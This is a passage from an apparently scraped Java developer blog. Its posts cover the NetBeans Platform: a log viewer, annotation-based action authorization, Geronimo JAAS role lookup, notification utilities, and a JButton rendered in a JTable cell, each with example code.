import org.springframework.beans.factory.support.BeanDefinitionRegistry;
import org.springframework.beans.factory.xml.XmlBeanDefinitionReader;
import org.springframework.context.support.GenericApplicationContext;
import org.springframework.core.io.ClassPathResource;

@ServiceProvider(service=AppContext.class)
public class AppContextImpl extends AppContext
{
  private static AppContextImpl instance;

  private GenericApplicationContext context;

  public AppContextImpl()
  {
    if (instance != null)
    {
      throw new IllegalStateException("Trying to create a second instance of the Spring context service.");
    }
    instance = this;
    context = new GenericApplicationContext();
    updateClassLoader();
  }

  public void loadXMLConfig(Class clazz, String resourceName) throws IOException
  {
    ClassPathResource resource = getClassPathResource(clazz, resourceName);
    BeanDefinitionReader reader = new XmlBeanDefinitionReader((BeanDefinitionRegistry) context);
    reader.loadBeanDefinitions(resource);
  }

  private ClassPathResource getClassPathResource(Class clazz, String resourceName) throws IOException
  {
    ClassPathResource resource = new ClassPathResource(resourceName, clazz);
    if (!resource.exists())
    {
      throw new FileNotFoundException("The resource " + resourceName + " for class " + clazz.getName() + " does not exist.");
    }
    return resource;
  }

  public Object getBean(String beanName)
  {
    Object o = context.getBean(beanName);
    return o;
  }

  public  T getBean(String beanName, Class beanInterface)
  {
    Object o = context.getBean(beanName, beanInterface);
    return (T) o;
  }

  public String[] getBeanNames(Class beanInterface)
  {
    String[] names = context.getBeanNamesForType(beanInterface);
    return names;
  }

  public void updateClassLoader()
  {
    context.setClassLoader(Thread.currentThread().getContextClassLoader());
  }
}

Netbeans Platform custom Log Viewer

2009-11-15T12:50:00.002+02:00

If you have complex applications building in some diagnostic components are almost as important as the functionality itself. It's inevitable that an application will give some problems at one time or another, and diagnostics, if done well, will save you a lot of time in avoiding this, foreseeing and preventing this, or after the fact resolving the issue.

The most useful type of diagnostic is probably log messages. One of the most used components I've ever developed was my log4j wrapper. Whenever I write an application it's the first library I add onto my dependency list. I also made it very easy to get an instance to the logger. Assume I create a class called "DataFile", all I do to get a logger is something like this (always the first line in the class):
public class DataFile
{
private static final Log log = Log.getLog(DataFile.class);
}

This will create a log4j logger with the name "package.DataFile". This way I can also configure my logs in a very flexible manner based no package. If you don't know what I mean, log4j allows you to configure log appenders in a hierarchical manner. If you have 2 packages "com.blogspot" and "com.blogspot.qbeukes", you can configure all com.blogspot to goto one location, and com.blogspot.qbeukes to goto another location. This way "com.blogspot.anotherpackage" will goto the same location as com.blogspot, and com.blogspot.qbeukes.subq to goto the same location as com.blogspot.qbeukes. Since it follows the same name patterns as java packages, having my logs created based on a class gives me the flexibility of classifying my logs in a way that groups the same as my code is grouped.

There is one problem with log files though. When a technician is in the field and fails to fix a problem, I often need the log file to analyze exactly what is happening. For this he need to locate and copy the log file. They aren't always comfortable with Linux, so this time around I figured I'd create log file access as a feature into the application. So any administrator user can access the log files and save them onto a removable media right from the application.

What inspired this idea was Netbeans' existing IDE log viewer component. It allows you to view the log output from Netbeans' loggers, and tails the output as it changes. I had a look at how it uses this and tried to implement it myself, only to be disappointed to find out that some of the classes are protected. Luckily the actual mechanism is nothing more than opening a file and piping it's output into Netbeans' existing output windows.

So I copied it's source into a class called LogViewer, create the actions in my layer.xml and got my very own LogViewer. Here's the code if you want to use it. Remember that I copied Netbeans code, so this code is licensed under the Netbeans' licenses. For more info see http://www.netbeans.org/.

First, create a class called LogViewer.java:

import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.LinkedList;
import com.blogspot.qbeukes.logging.Log;
import org.openide.util.RequestProcessor;
import org.openide.windows.IOProvider;
import org.openide.windows.InputOutput;

public class LogViewer implements Runnable
{
  private static final Log log = Log.getLog(LogViewer.class);

  boolean shouldStop = false;

  FileInputStream filestream = null;

  BufferedReader ins;

  InputOutput io;

  File fileName;

  String ioName;

  int lines;

  Ring ring;

  private final RequestProcessor.Task task = RequestProcessor.getDefault().create(this);

  /** Connects a given process to the output window. Returns immediately, but threads are started that
   * copy streams of the process to/from the output window.
   * @param process process whose streams to connect to the output window
   * @param ioName name of the output window tab to use
   */
  public LogViewer(final File fileName, final String ioName)
  {
    this.fileName = fileName;
    this.ioName = ioName;
  }

  private void init()
  {
    final int LINES = 2000;
    final int OLD_LINES = 2000;
    ring = new Ring(OLD_LINES);
    String line;

    // Read the log file without
    // displaying everything
    try
    {
      while ((line = ins.readLine()) != null)
      {
        ring.add(line);
      } // end of while ((line = ins.readLine()) != null)
    }
    catch (IOException e)
    {
      log.error("Failed reading log file.", e);
    } // end of try-catch

    // Now show the last OLD_LINES
    lines = ring.output();
    ring.setMaxCount(LINES);
  }

  @Override
  public void run()
  {
    final int MAX_LINES = 10000;
    String line;

    shouldStop = io.isClosed();

    if (!shouldStop)
    {
      try
      {
        if (lines >= MAX_LINES)
        {
          io.getOut().reset();
          lines = ring.output();
        } // end of if (lines >= MAX_LINES)

        while ((line = ins.readLine()) != null)
        {
          if ((line = ring.add(line)) != null)
          {
            io.getOut().println(line);
            lines++;
          } // end of if ((line = ring.add(line)) != null)
        }

      }
      catch (IOException e)
      {
        log.error("Failed reading log file and printing to output.", e);
      }
      task.schedule(10000);
    }
    else
    {
      ///System.out.println("end of infinite loop for log viewer\n\n\n\n");
      stopUpdatingLogViewer();
    }
  }
  
  /* display the log viewer dialog
   *
   **/
  public void showLogViewer() throws IOException
  {
    shouldStop = false;
    io = IOProvider.getDefault().getIO(ioName, false);
    io.getOut().reset();
    io.select();
    filestream = new FileInputStream(fileName);
    ins = new BufferedReader(new InputStreamReader(filestream));

    init();
    task.schedule(0);
  }

  /* stop to update  the log viewer dialog
   *
   **/
  public void stopUpdatingLogViewer()
  {
    try
    {
      ins.close();
      filestream.close();
      io.closeInputOutput();
      io.setOutputVisible(false);
    }
    catch (IOException e)
    {
      log.error("Failed to close log file streams.", e);
    }
  }

  private class Ring
  {
    private int maxCount;

    private int count;

    private LinkedList<String> anchor;

    public Ring(int max)
    {
      maxCount = max;
      count = 0;
      anchor = new LinkedList<String>();
    }

    public String add(String line)
    {
      if (line == null || line.equals(""))
      { // NOI18N
        return null;
      } // end of if (line == null || line.equals(""))

      while (count >= maxCount)
      {
        anchor.removeFirst();
        count--;
      } // end of while (count >= maxCount)

      anchor.addLast(line);
      count++;

      return line;
    }

    public void setMaxCount(int newMax)
    {
      maxCount = newMax;
    }

    public int output()
    {
      int i = 0;
      for (String s : anchor)
      {
        io.getOut().println(s);
        i++;
      }

      return i;
    }

    public void reset()
    {
      anchor = new LinkedList<String>();
    }
  }
}

You also need an action that gathers the basic logic to open a log viewer, called LogViewerAction.java:

package com.blogspot.qbeukes.diagnostics.logviewer;

import java.io.File;
import java.util.Map;
import java.util.Map.Entry;
import com.blogspot.qbeukes.logging.Log;
import net.kunye.platform.client.maintenance.logs.LogViewer;
import org.openide.util.HelpCtx;
import org.openide.util.actions.CallableSystemAction;

public abstract class LogViewerAction extends CallableSystemAction
{
  protected static final Log log = Log.getLog(LogViewerAction.class);

  /**
   * @param map
   * @return A new prepared log viewer action
   */
  public static LogViewerAction getLogViewerAction(Map map)
  {
    Object o = map.get("viewerAction");
    if (!(o instanceof LogViewerAction))
    {
      log.error("Received an invalid viewerAction type: " + o.getClass().getName());
      throw new IllegalArgumentException("Invalid viewerAction attribute. Has to be a 'newvalue' of type LogViewerAction.");
    }

    LogViewerAction logViewer = (LogViewerAction)o;
    log.debug("Creating new action of type: " + logViewer.getClass().getName());
   
    for (Object entry : map.entrySet())
    {
      Object key = ((Entry)entry).getKey();
     
      if ("instanceCreate".equals(key)
          || "viewerAction".equals(key))
      {
        continue;
      }

      // we have a valid property, add it
      Object value = ((Entry)entry).getValue();
      logViewer.putValue((String)key, value);

      // log it
      if (value == null)
      {
        value = "null";
      }
      log.trace("Adding LogViewerAction attribute '" + (String)key + "'='" +
          value.toString() + "' (" + logViewer.getClass().getName() + ").");
    }

    return logViewer;
  }

  public void viewLog(File f)
  {
    LogViewer p = new LogViewer(f, getName());
    try
    {
      p.showLogViewer();
    }
    catch (java.io.IOException e)
    {
      log.error("Showing log action failed.", e);
    }
  }

  @Override
  public String getName()
  {
    return (String)getValue("displayName");
  }

  @Override
  public HelpCtx getHelpCtx()
  {
    return HelpCtx.DEFAULT_HELP;
  }

  @Override public String iconResource()
  {
    return "org/netbeans/core/resources/log-file.gif"; // NOI18N
  }
}

Then extend the LogViewerAction class for a specific log. For this one I'll just open the client's log again:

package com.blogspot.qbeukes.diagnostics.logviewer;

import java.io.File;

public class ClientLogAction extends LogViewerAction
{
  public ClientLogAction()
  {
    putValue("userDirLogFile", "/var/log/messages.log");
  }
 
  @Override
  public void performAction()
  {
    String logFilename = (String)getValue("logFile");

    if (logFilename == null)
    {
      // FIXME This may not be used this way anymore.
      String userDir = System.getProperty("netbeans.user");
      if (userDir == null)
      {
        return;
      }
      // FIXME the same as above
      logFilename = userDir + getValue("userDirLogFile");
    }

    log.debug("Viewing client log file: " + logFilename);
    File f = new File(logFilename);
    viewLog(f);
  }
}

Finally, add the action to your layer.xml:

...
  <folder name="Menu">
    <folder name="View">
      <file name="org-netbeans-core-actions-LogAction.shadow_hidden"/>
      <file name="com-blogspot-qbeukes-diagnostics-logviewer-ClientLogAction.instance">
        <attr name="instanceCreate" methodvalue="com.blogspot.qbeukes.diagnostics.logviewer.LogViewerAction.getLogViewerAction"/>
        <attr name="viewerAction" newvalue="com.blogspot.qbeukes.diagnostics.logviewer.ClientLogAction"/>
        <attr name="userDirLogFile" stringvalue="/var/log/messages.log"/>
        <attr name="displayName" stringvalue="Client Log"/>
      </file>
    </folder>
  </folder>
...

To explain the layer a bit. Firstly, the LogViewerAction has a factory method for creating and executing a specific action. With a more complex LogViewerAction you should be able to creating a separate class for each log. Though as you see opening the ClientLog requires accessing properties and some validation and defaults. For other logs it is even more complex. So it would have to be quite the complex class to provide opening of all kinds of log files.

So for your own class you can leave everything as it and just change the 'viewerAction' attribute to point to your own class. You can also remove or change the 'userDirLogFile' attribute, which is used inside the ClientLogAction class to reference a specific log under Netbeans' "userdir", which is a directory created for each user to store state/cache/configuration/logs.

Finally it's the displayName property, which will be used as the name of the Action and LogViewer window, in other words displayed on the menu and as the title of the log viewer.

Beyond this all logs aren't located on the same machine as the client application. The most important logs are located on the server (in our case at least). So I also made a network log viewer for viewing log files on the server. I developed this in company time, though, so I can't publish it (since they own the code). This one is very useful as it supports viewing rotated logs by specifying date ranges and exception highlighting. I will make one at some point and share it.

Authorization in the Netbeans Platform

2009-11-14T20:48:00.003+02:00

Authentication and Authorization wasn't really thought off much when the designers of the Netbeans Platform were doing their magic. There is no "right" of doing this, though most people settle on doing their authentication in a ModuleInstaller (similar to OSGi's Activator).

Authorization is even worse off. Luckily all actions in the Platform are done via an Action extension of some sort and their "enabled" state is honored in all places. So what I did for authorization was to create to extensions of the actions I use, nl. NodeAction and CallableSystemAction. Then when I create my Actions I rather extend one of these 2 depending on it's purpose, and annotate it with javax.annotation.security.RolesAllowed, specifying which roles are allowed to execute the action.

To enforce this I finalize the action's "enabled" checks, and provide another method where necessary which the implementation must now place it's "enabled" logic in. This way I can prevent an action to be enabled unless the user is authorized. If a user were to execute custom logic (which would require a debugger or code injection) he could still execute them, but it would have no effect as the result would just be another access denied as the server's authorizations would prevent the final action from being executed. I also fetch the list of roles at authentication time from the server, so I'm equipped with everything necessary for authorization.

To do the actual check if the action is authorized I have a utility "Netbeans Service" which takes an Object as an argument. This method will see if the object's class has @RolesAllowed annotation, and verify if the authenticated subject/user has at least one role "required" by this annotation. Further the "Admin" role is exempt from all authorization checks.

As an example I listed all 4 classes. I didn't list the actual logic of fetching the list of roles, so it's up to you to populate the list with whatever method.

package com.blogspot.qbeukes.auth;

AuthService.java:
public interface AuthService
{
  /**
   * @return True if this is an authenticated context
   */
  boolean isAuthenticated();

  /**
   * @param object
   * @return True if the current subject is authorized to used the specified object
   */
  boolean isAuthorized(Object object);
}

AuthServiceImpl.java:

package com.blogspot.qbeukes.auth;

import java.util.Set;
import java.util.TreeSet;
import javax.annotation.security.RolesAllowed;
import javax.swing.Action;
import com.blogspot.qbeukes.logging.Log;
import org.openide.util.lookup.ServiceProvider;

@ServiceProvider(service=AuthService.class)
public class AuthServiceImpl implements AuthService
{
  private static final Log log = Log.getLog(AuthServiceImpl.class);

  private static final String ADMIN_ROLE = "Admin";

  private Set<String> roles;

  private Boolean admin;

  public AuthServiceImpl()
  {
  }

  @Override
  public boolean isAuthenticated()
  {
    // change to to check if the user is actually authenticated
    return true;
  }

  /**
   * Return the roles for this user, loading it on the first calls
   * @return Set of roles
   */
  protected Set<String> getSubjectRoles()
  {
    if (roles == null)
    {
      // fetch the list of roles here
      roles = new TreeSet<String>();
      roles.add("Some Role");
    }

    return roles;
  }

  /**
   * Checks if the current subject has the "Admin" role. Also caches the result
   * @return True if the subject has the "Admin" role
   */
  protected boolean isAdmin()
  {
    if (admin == null)
    {
      admin = getSubjectRoles().contains(ADMIN_ROLE);
    }

    return admin.booleanValue();
  }

  @Override
  public boolean isAuthorized(Object o)
  {
    if (!isAuthenticated())
    {
      return false;
    }

    if (isAdmin())
    {
      return true;
    }
   
    Class<?> clazz = o.getClass();

    // if the class doesn't have the RolesAllowed annotation we assume no roles
    // are allowed, and return false
    // this just protects us against "forgetting"
    // to allow all roles
    if (!clazz.isAnnotationPresent(RolesAllowed.class))
    {
      return false;
    }

    String[] rolesAllowed = clazz.getAnnotation(RolesAllowed.class).value();

    // empty roles list, no-one has access
    if (rolesAllowed == null || rolesAllowed.length == 0)
    {
      return false;
    }

    Set<String> subjectRoles = getSubjectRoles();
    boolean authorized = false;
    for (String roleName : rolesAllowed)
    {
      if (subjectRoles.contains(roleName))
      {
        authorized = true;
        break;
      }
    }

    return authorized;
  }
}

AuthorizedNodeAction.java:

package com.blogspot.qbeukes.actions;

import org.openide.nodes.Node;
import org.openide.util.Lookup;
import org.openide.util.actions.NodeAction;

public abstract class AuthorizedNodeAction extends NodeAction
{
  @Override
  protected final boolean enable(Node[] activatedNodes)
  {
    return Lookup.getDefault().lookup(AuthService.class).isAuthorized(this)
      && enableForNodes(activatedNodes);
  }

  /**
   * @param activatedNodes
   * @return True if the action should be enabled for the specified nodes.
   */
  protected abstract boolean enableForNodes(Node[] activatedNodes);
}

AuthorizedSystemAction.java:

package com.blogspot.qbeukes.actions;

import org.openide.util.Lookup;
import org.openide.util.actions.CallableSystemAction;

public abstract class AuthorizedSystemAction extends CallableSystemAction
{
  @Override
  public boolean isEnabled()
  {
    return super.isEnabled() &&
        Lookup.getDefault().lookup(AuthService.class).isAuthorized(this);
  }

  /* Not necessary for authorization. All my actions use this, so I collected it here */
  @Override
  protected boolean asynchronous()
  {
    return false;
  }
}

So from here you can use AuthorizedSystemAction and AuthorizedNodeAction like so:

@RolesAllowed({
  "Some Role",
  "Some Other Role"
})
public class SomeAction extends SystemAction {...}

@RolesAllowed({
  "Some Role"
})
public final class SomeNodeAction extends AuthorizedNodeAction
{
  @Override
  protected boolean enableForNodes(Node[] activatedNodes)
  {
    // application level enabled checks
  }
 
  //...//
}

The above code will unfortunately not hide the actions, though they are disabled. It at least prevents the user from starting a wizard or opening the view/dialog. In our application we have a custom navigation system, so most of our actions are accessed through this panel. In this panel's UI generation I do a check to hide the actions, so it's not really a priority for us. We do, however, have some actions in the menus/toolbars, so I'm working on finding another way to do authorizations for them.

Beyond this, authorizations for other panels/views are done programmatically by querying the AuthService, so to simplify this I have a utility method which does the lookup, validate the presence of the service and then query the service. This changes:
Lookup.getDefault().lookup(AuthService.class).isAuthorized(...);
TO
AuthUtil.isAuthorized(...);

It also does a check if AuthService actually has an implementation, for the odd situation where the module might have failed to load properly. In such a case the application is gracefully closed accompanied by an error message. I guess I could allow the user to continue and faced with errors from the server, though for our app I think it's was a better choice to make the application completely unavailable and get fixed rather than the experience be interrupted with endless error messages, which would most probably be the case if this module didn't load properly.

Authenticated Subject and Principals in Geronimo

2009-11-14T20:05:00.001+02:00

JavaEE doesn't provide a standard way of determing the authenticated JAAS Subject or it's Principals. In general this isn't needed as there are mechanisms for authorization, which allows for other authorization frameworks to be plugged in without changing the authorization code.

Though, what if you have a remote client that should be authorized in the same way? Sometimes this requires doing it yourself. For instance, I have a front end where I construct the UI and available actions based on the roles of the user. I did this in the Netbeans Platform by annotating actions with @RolesAllowed and then to determine if the user is in the specified role.

To speed this up without doing a lot of back/forth between the server and client I fetch the list of roles from the server (which is determined by my authenticated remote JAAS session via OpenEJB to Geronimo) and build the UI from this information.

OpenEJB unfortunately doesn't provide a way to get this information client side. In fact, if I'm correct it doesn't even have this information client side. From what I can see it only has a reference to what Geronimo calls a "SubjectId", which is a numeric identification of the authenticated session.

So what I did was create an EJB method getAuthenticatedSubject() and getAuthenticatedSubjectRoles(). The former returns a javax.security.auth.Subject, and the latter returns a List of role names.

This is unfortunately not standard JavaEE and will only work on a Geronimo hosted EJB application. It would be great if the JavaEE folks could develop some specifications for remote authentication. They have the Application Client concept, but that's a half baked excuse for remote client sessions if there ever was any.

To compile this you would need to add the "geronimo-security" JAR to your classpath, and anything else it requires. This list can get quite extensive, so a bit of research or brute force might be needed to get this going, or you can take the smart route and use Maven.

So, here's the 2 methods:

  public Subject getAuthenticatedSubject()
  {
    return ContextManager.getCurrentCaller();
  }

  public List<String> getAuthenticatedSubjectRoles()
  {
    Subject subject = ContextManager.getCurrentCaller();
    Set<Principal> principals = subject.getPrincipals();

    List<String> roles = new ArrayList<String>();
    for (Principal p : principals)
    {
      if (p instanceof GeronimoGroupPrincipal)
      {
        roles.add(p.getName());
      }
    }

    return roles;
  }

Netbeans Platform Notifications

2009-11-14T13:00:00.003+02:00

In any application you need to communicate to the user. Everyone knows how to get information FROM the user, but communicating to the user is something that most people have trouble with.

Sure it's easy to simply display a message box, or flash a label, or give a sound. But doing it right is a completely different topic. People don't think it's important, and therefore there isn't much documentation on the topic.

I'm not going to go too deeply into this, so I'll just give a very broad/simple tip. It doesn't apply to all situations, though in general an error should interrupt the user, and a notification shouldn't. So to achieve this I settled on something where if an error is directly related to an action the user just completed, I would interrupt the user with a modal message box explaining the failed action and when possible the cause. If the action was successful I would also notify the user, but in an unobtrusive manner, though still visible and it should remain available for review.

For this Netbeans has always had a very eye-pleasing solution used by it's automatic update system. These are the balloon messages used to notify you of updates. I did some investigation into doing this and found the NotificationDisplayer class. It displays a balloon message, which has an action associated with it. This message is displayed in the bottom right and linked to a category (defined by it's type and icon). The balloon will hide itself after a few seconds, but remain accessible by clicking the notifications icon in the statusbar. This will display all messages which haven't been dismissed or confirmed. A dismissed message will simply disappear, and a confirmed message (clicking the link) will invoke an ActionListener.

In my case I either display a more detailed message when invoking the ActionListener, or open another view for the action, depending on the origin/cause of the message.

Then, for message boxes I used the DialogDisplayer class.

To access these to notification classes takes quite a one-liner, so I wrapped it into 2 utility classes MessageUtil and NotifyUtil. For your pleasure I listed both of them at the end. You can use them as in the following examples:

MessageUtil.error("Some error message");
MessageUtil.error("Some exception explanation", exceptionInstance);
MessageUtil.info("Some info message");
NotifyUtil.info("Title of Message", "Body of Message");
NotifyUtil.show("Title", "Body", MessageType.INFO, new ActionListener() {
  public void actionPerformed(ActionEvent evt)
  {
    // take some action
  }
});

So, here are the classes:
Firstly, the MessageType enumeration in MessageType.java:

package com.blogspot.qbeukes.messages;

import java.net.URL;
import javax.swing.Icon;
import javax.swing.ImageIcon;
import com.blogspot.qbeukes.Log;
import org.openide.NotifyDescriptor;

/**
 * Remember to modify this class to locate your icon resources.
 * @author qbeukes.blogspot.com
 * @license Apache License 2.0
 */
public enum MessageType
{
  PLAIN   (NotifyDescriptor.PLAIN_MESSAGE,       null),
  INFO    (NotifyDescriptor.INFORMATION_MESSAGE, "info.png"),
  QUESTION(NotifyDescriptor.QUESTION_MESSAGE,    "question.png"),
  ERROR   (NotifyDescriptor.ERROR_MESSAGE,       "error.png"),
  WARNING (NotifyDescriptor.WARNING_MESSAGE,     "warning.png");

  private int notifyDescriptorType;
 
  private Icon icon;

  private MessageType(int notifyDescriptorType, String resourceName)
  {
    this.notifyDescriptorType = notifyDescriptorType;
    if (resourceName == null)
    {
      icon = new ImageIcon();
    }
    else
    {
      icon = loadIcon(resourceName);
    }
  }

  private static Icon loadIcon(String resourceName)
  {
    URL resource = MessageType.class.getResource("icons/" + resourceName);
    if (resource == null)
    {
      Log log = Log.getLog(MessageType.class);
      log.warn("Failed to load NotifyUtil icon resource: " + resourceName + ". Using blank image.");
      return new ImageIcon();
    }
    return new ImageIcon(resource);
  }

  int getNotifyDescriptorType()
  {
    return notifyDescriptorType;
  }

  Icon getIcon()
  {
    return icon;
  }
}

Then the MessageUtil for display message boxes, MessageUtil.java

package com.blogspot.qbeukes.messages;

import org.openide.DialogDisplayer;
import org.openide.NotifyDescriptor;

/**
 * For displaying message boxes
 * @author qbeukes.blogspot.com
 * @license Apache License 2.0
 */
public class MessageUtil
{
  private MessageUtil() {}

  /**
   * @return The dialog displayer used to show message boxes
   */
  public static DialogDisplayer getDialogDisplayer()
  {
    return DialogDisplayer.getDefault();
  }

  /**
   * Show a message of the specified type
   *
   * @param message
   * @param messageType As in {@link NotifyDescription} message type constants.
   */
  public static void show(String message, MessageType messageType)
  {
    getDialogDisplayer().notify(new NotifyDescriptor.Message(message, 
        messageType.getNotifyDescriptorType()));
  }

  /**
   * Show an exception message dialog
   *
   * @param message
   * @param exception
   */
  public static void showException(String message, Throwable exception)
  {
    getDialogDisplayer().notify(new NotifyDescriptor.Exception(exception, message));
  }

  /**
   * Show an information dialog
   * @param message
   */
  public static void info(String message)
  {
    show(message, MessageType.INFO);
  }

  /**
   * Show an error dialog
   * @param message
   */
  public static void error(String message)
  {
    show(message, MessageType.ERROR);
  }

  /**
   * Show an error dialog for an exception
   * @param message
   * @param exception
   */
  public static void error(String message, Throwable exception)
  {
    showException(message, exception);
  }

  /**
   * Show an question dialog
   * @param message
   */
  public static void question(String message)
  {
    show(message, MessageType.QUESTION);
  }

  /**
   * Show an warning dialog
   * @param message
   */
  public static void warn(String message)
  {
    show(message, MessageType.WARNING);
  }

  /**
   * Show an plain dialog
   * @param message
   */
  public static void plain(String message)
  {
    show(message, MessageType.PLAIN);
  }
}

And for displaying balloon messages, NotifyUtil.java:

package com.blogspot.qbeukes.messages;

import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import org.openide.awt.NotificationDisplayer;

/**
 * For notifying the user.
 * @author qbeukes.blogspot.com
 * @license Apache License 2.0
 */
public class NotifyUtil
{
  private NotifyUtil() {}

  /**
   * Show message with the specified type and action listener
   */
  public static void show(String title, String message, MessageType type, ActionListener actionListener)
  {
    NotificationDisplayer.getDefault().notify(title, type.getIcon(), message, actionListener);
  }

  /**
   * Show message with the specified type and a default action which displays the
   * message using {@link MessageUtil} with the same message type
   */
  public static void show(String title, final String message, final MessageType type)
  {
    ActionListener actionListener = new ActionListener() {
      @Override
      public void actionPerformed(ActionEvent e)
      {
        MessageUtil.show(message, type);
      }
    };
   
    show(title, message, type, actionListener);
  }

  /**
   * Show an information notification
   * @param message
   */
  public static void info(String title, String message)
  {
    show(title, message, MessageType.INFO);
  }

  /**
   * Show an error notification
   * @param message
   */
  public static void error(String title, String message)
  {
    show(title, message, MessageType.ERROR);
  }

  /**
   * Show an error notification for an exception
   * @param message
   * @param exception
   */
  public static void error(String title, final String message, final Throwable exception)
  {
    ActionListener actionListener = new ActionListener() {
      @Override
      public void actionPerformed(ActionEvent e)
      {
        MessageUtil.showException(message, exception);
      }
    };

    show(title, message, MessageType.ERROR, actionListener);
  }

  /**
   * Show an warning notification
   * @param message
   */
  public static void warn(String title, String message)
  {
    show(title, message, MessageType.WARNING);
  }

  /**
   * Show an plain notification
   * @param message
   */
  public static void plain(String title, String message)
  {
    show(title, message, MessageType.PLAIN);
  }
}

I originally developed this code under Apache License 2.0. So you can use it under the same license.

Netbeans Platform

2009-11-14T12:31:00.000+02:00

We recently started cleaning up a mess. This mess was the software of one of our products. The action was a complete redevelopment. I didn't even use the original code as a reference. It was a complete rethink and redesign. This also opened up some avenues for using technology to our benefit, something you can't always do or fully benefit from in the middle of a project or on existing code basis. An example would be Maven.

Either way. I decided to do the frontend in Netbeans RCP Platform. For desktop applications in Java you have 2 options. SWT or Swing. People say SWT is faster, and they might be right. But Swing has so many more benefits... like extensibility and being pure Java.

Netbeans Platform is basically an application framework built on Swing. The only other comparison to it would be Eclispe RCP. I used to be an Eclipse follower, and naturally I've built on Eclipse RCP before. Even with all the tutorials, books and documentation Eclipse RCP has a steep learning curve, and it's a mess. There is no natural progression into Eclipse RCP development from anywhere, at least no where I've come from or heard off. Everything is different that what you're used to, even their OOP style and entity names.

One of my biggest complaints with Eclipse is inconsistency. Personally I believe this is because too many people are trying to make things too flexible without proper coordination and without completing things to the end. This has pushed Eclipse into a corner where making things work the way it's best for the end user is very difficult. Eclipse has a lot of powerful features, though none of them are worth the sharp edges.

To give an example, look at Eclipse's project structure. Eclipse has a flat project structure. Maven doesn't. So the Eclipse Maven plugin doesn't really give you true Maven support. Why didn't they plugin developers just add this support? Maybe because it's just too difficult to achieve in Eclipse? I'm not saying this is the reason. It's just a guess based on my personal experiences with Eclipse and Eclipse RCP.

I only started to truly grasp this when I began using Netbeans for JavaEE development. Having not nearly as large a feature count as Eclipse does, the features it does have are far more complete and of much higher quality.

Netbeans' Maven support for instance are almost PURE Maven. You can take any Maven project and open it in Netbeans. If it's a multi-level project you can open child projects from the parent project using a "Modules" node, dedicated to this purpose. You can then build individual components, or groups of components. You can edit the POM with auto-completion. You can manage dependencies in multiple ways. Repository browsers and a whole range of other customizations.

If this isn't enough, you can even do your Netbeans Platform applications as Maven projects, using the Netbeans Platform archetypes.

It all branches from the attitudes of the core developers. On this I'd rather not branch out (for reasons obvious to anyone whose said anything bad of Eclipse in front of an Eclipse user), so it'll remain my personal opinion.

So, back to the Platform. I started developing in the Netbeans Platform. Before this I knew nothing about how to use the Platform. A bold move for a new project. Though if it was anything like Netbeans I knew it would save me tons of time. I wanted to use an application framework based on a module system, as one of the requirements of the project was modularity. When we started the redevelopment of this a few months ago I resorted to Apache Felix for a pure OSGi system. This development was interrupted, and only started again a few weeks ago.

This time I decided to use an existing framework to save me some time, something which wasn't available on this run. Eclipse RCP and Netbeans RCP was the 2 obvious choices, and past experience influenced me into a obvious decision.

I completed the JavaEE layer and settled on Geronimo for the application server (since it uses OpenEJB). Another great choice here. When I started doing the frontend I was struggling a bit at first. It's very quick to get into Netbeans Platform (here after just NBP, phew) development. There's not much to learn. Though the reference documentation isn't too good. You're mostly left up to JavaDoc and Google Codesearch (thanks to one of the NB developers for this tip).

Though, if you would work through all the tutorials and do all the examples you should be able to find your way around and get right into developing your product pretty comfortably. The result would be an application that forms very rapidly. I can't even remember the number of times I got excited because I was able to implement very advanced features in minutes. I'm not going to rave about them now, though I will be documenting them in the weeks to come as I slowly get my life back.

Using a JButton in the cell of a JTable

2009-11-01T23:18:00.000+02:00

There are many reasons why you would want a component to be displayed in the cell of your tables. Purely displaying text isn't enough. This is quite easy for most components like a checkbox, which only requires you to have a column of type "Boolean". The table will handle the rest. But the JButton is a different story.

There is no default handling for buttons, which has led many people to conjure up some pretty nasty ways of getting it to work. I've seen many of them work very well, but ending up 100/200+ lines of code just for getting the button to display and accept input. The basic idea is to create your own TableCellRenderer and TableCellEditor, and then have these return the component. There after you need to capture all input events you wish the button to react to and dispatch them to the button's handler. This is where the code bulks come in.

There is a much easier way of doing it though, and that's what I'll describe here. Assume you have a table, where every row represents an instance of a class "Employee". It has 3 columns, nl. "Name", "Surname" and "Options". In the "Options" column you wish to display a button "Get Fullname", which prints the full name of the employee in a JLabel above the table.

So, you will create your own TableModel implementation, which returns the appropriate values for every column, the row/column counts, and so forth. We'll call ours EmployeeTableModel. For the JButton to work we have to add some code towards this purpose in EmployeeTableModel.

This code will handle column index "2", which is the index for the "Options" column. Firstly we have to return a "true" value for this column in the isCellEditable() method. This is necessary for the cell editor to be returned, which is how we get the pressed/action performed handling of the button.
In the getColumnClass() method we need to return the JButton class for column 2, and String class for the other columns. This way the cells are identified and the correct editor used.
Finally, in the getValueAt() method, which returns the actual value for a cell, we need to return the button we wish to display in each cell. This button should be prepared with action listeners and unique for each row if you want it to be aware of the row it represents. Our button will display the employee's full name, so it needs to know for which employee it was selected. So we create a unique button for each row which is aware of the employee.

Part of our EmployeeTableModel class is a button handler. Since the model class creates the JButton instances, we provide it with an implementation of EmployeeButtonHandler, which has a method buttonClicked(Employee) call every time a button is clicked. This allows us to create the buttons on request inside the model so to cache their instances but still keep the actual logic outside of the model. This allows for higher cohesion.

The second class we need to create is the javax.swing.table.TableCellRenderer and javax.swing.table.TableCellEditor implementation. I combine it into a single class, as it's behaviour is very similar and far too small to justify separate classes. We will also extend the javax.swing.AbstractCellEditor class to avoid having to recreate existing code.

The TableCellEditor interface has 2 methods we still need to define, nl. getCellEditorValue() and getTableCellEditorComponent(). We just return null for the former, as we're not actually editing anything. For the latter we return whatever is passed into it, which would be a JButton. The table will call getValueAt() for the 3rd column, receive a JButton instance, lookup our editor which is associated with the JButton class and call our editor's getTableCellEditorComponent() passing in the value of the cell, which is the JButton we wish to display in the cell. So returning it is save. This is all the TableCellEditor has to do.

For the TableCellRenderer it's a bit more complex, though this is where the biggest trick of them all come in. It follows similar logic in lookup/invocation as the TableCellEditor described above, and the method invoked on it, which is getTableCellRendererComponent(), has the same arguments as the editor counterpart. For the rendering and button events to work properly over multiple rows, though, we can't return the same instance as the editor does. The fact that it's purely used for rendering means we don't have to return a unique instance. We just need to return an instance with the same text as the actual button, so what we do is create a Map of JButtons, which maps the button text to instances. In our case all the buttons have the same text, so we'll only have one instance, but if you decide to have different text one your buttons, the code I supply will still work.

